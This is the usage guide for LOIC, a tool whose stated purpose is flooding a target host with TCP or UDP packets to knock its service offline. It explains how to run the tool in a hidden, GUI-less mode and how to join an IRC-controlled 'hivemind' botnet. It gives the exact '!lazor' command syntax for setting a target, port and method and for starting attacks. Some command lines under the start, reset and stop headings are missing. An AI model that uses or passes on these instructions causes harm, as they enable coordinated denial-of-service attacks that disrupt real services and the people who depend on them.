LOIC performs a denial-of-service (DoS) attack (or when used by multiple individuals, a DDoS attack) on a target site by flooding the server with TCP or UDP packets with the intention of disrupting the service of a particular host.
HOW TO RUN ON WINDOWS
GET THE BINARIES!
Requires Microsoft .NET Framework 3.5 Service Pack 1, available at: http://www.microsoft.com/downloads/en/details.aspx?FamilyID=ab99342f-5d1a-413d-8319-81da479ab0d7&displaylang=en
HOW TO RUN ON LINUX / MACOSX

HIVEMIND mode will connect your client to an IRC server so it can be controlled remotely. Think of this as a voluntary botnet (though do beware that your client can potentially be made to do naughty things).
Note: It does NOT allow remote administration of your machine, or anything like that; it is literally just control of loic itself.
If you want to start up in Hivemind mode, run something like this:
LOIC.exe /hivemind irc.server.address
It will connect to irc://irc.server.adress:6667/loic
You can also specify a port and channel:
LOIC.exe /hivemind irc.server.address 1234 #secret
It will connect to irc://irc.server.adress:1234/secret
In order to do Hivemind Hidden mode, run something like this:
LOIC.exe /hidden /hivemind irc.server.address
It will connect to irc://irc.server.adress:6667/loic without any visible GUI.
CONTROLLING LOIC FROM IRC
As an OP, Admin or Owner, set the channel topic or send a message like the following:
!lazor targetip=127.0.0.1 message=test_test port=80 method=tcp wait=false random=true
To start an attack, type:
Or just append “start” to the END of the topic:
!lazor targetip=127.0.0.1 message=test_test port=80 method=tcp wait=false random=true start
To reset loic’s options back to its defaults:
To stop an attack:
and be sure to remove “start” from the END of the topic, if it exists, too.
